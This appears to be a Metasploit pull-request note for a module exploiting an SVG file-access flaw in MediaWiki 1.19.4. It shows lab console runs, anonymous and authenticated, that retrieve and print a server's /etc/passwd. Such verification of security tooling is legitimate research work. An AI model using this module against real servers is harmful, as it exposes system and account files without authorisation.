Added module for OSVDB 92490

Verified to work on MediaWiki 1.19.4 and Ubuntu 10.04 with:

* Anonymous access

```
msf auxiliary(mediawiki_svg_fileaccess) > show options

Module options (auxiliary/scanner/http/mediawiki_svg_fileaccess):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The password to authenticate with
   Proxies                     no        Use a proxy chain
   RFILE      /etc/passwd      yes       Remote File
   RHOSTS     192.168.172.173  yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port
   TARGETURI  /mediawiki       yes       Path to MediaWiki
   THREADS    1                yes       The number of concurrent threads
   USERNAME                    no        The user to authenticate as
   VHOST                       no        HTTP server virtual host

msf auxiliary(mediawiki_svg_fileaccess) > reload
[*] Reloading module...
run
msf auxiliary(mediawiki_svg_fileaccess) > run

[*] 192.168.172.173:80 MediaWiki - /etc/passwd saved in /Users/juan/.msf4/loot/20130418143059_default_192.168.172.173_mediawiki.file_451283.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mediawiki_svg_fileaccess) > cat /Users/juan/.msf4/loot/20130418143059_default_192.168.172.173_mediawiki.file_451283.bin
[*] exec: cat /Users/juan/.msf4/loot/20130418143059_default_192.168.172.173_mediawiki.file_451283.bin

root:x:0:0:root:/root:/bin/bash
<p>daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
<a rel="nofollow" class="external free" href="news:x:9:9:news:/var/spool/news:/bin/sh">news:x:9:9:news:/var/spool/news:/bin/sh</a>
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
avahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
speech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false
haldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:117:RealtimeKit,,,:/proc:/bin/false
saned:x:112:118::/home/saned:/bin/false
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm:/bin/false
juan:x:1000:1000:Juan Vazquez,,,:/home/juan:/bin/bash
mysql:x:115:123:MySQL Server,,,:/var/lib/mysql:/bin/false
</p>
sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologinmsf auxiliary(mediawiki_svg_fileaccess) > 

```

* Authenticated access

```

msf auxiliary(mediawiki_svg_fileaccess) > run

[-] 192.168.172.173:80 MediaWiki - Failed to get edit token
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mediawiki_svg_fileaccess) > set USERNAME Test
USERNAME => Test
msf auxiliary(mediawiki_svg_fileaccess) > set PASSWORD password
PASSWORD => password
msf auxiliary(mediawiki_svg_fileaccess) > run

[*] 192.168.172.173:80 MediaWiki - /etc/passwd saved in /Users/juan/.msf4/loot/20130418143216_default_192.168.172.173_mediawiki.file_658435.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mediawiki_svg_fileaccess) > cat /Users/juan/.msf4/loot/20130418143216_default_192.168.172.173_mediawiki.file_658435.bin
[*] exec: cat /Users/juan/.msf4/loot/20130418143216_default_192.168.172.173_mediawiki.file_658435.bin

root:x:0:0:root:/root:/bin/bash
<p>daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
<a rel="nofollow" class="external free" href="news:x:9:9:news:/var/spool/news:/bin/sh">news:x:9:9:news:/var/spool/news:/bin/sh</a>
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
avahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
speech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false
haldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:117:RealtimeKit,,,:/proc:/bin/false
saned:x:112:118::/home/saned:/bin/false
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm:/bin/false
juan:x:1000:1000:Juan Vazquez,,,:/home/juan:/bin/bash
mysql:x:115:123:MySQL Server,,,:/var/lib/mysql:/bin/false
</p>
sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologinmsf auxiliary(mediawiki_svg_fileaccess) > 

```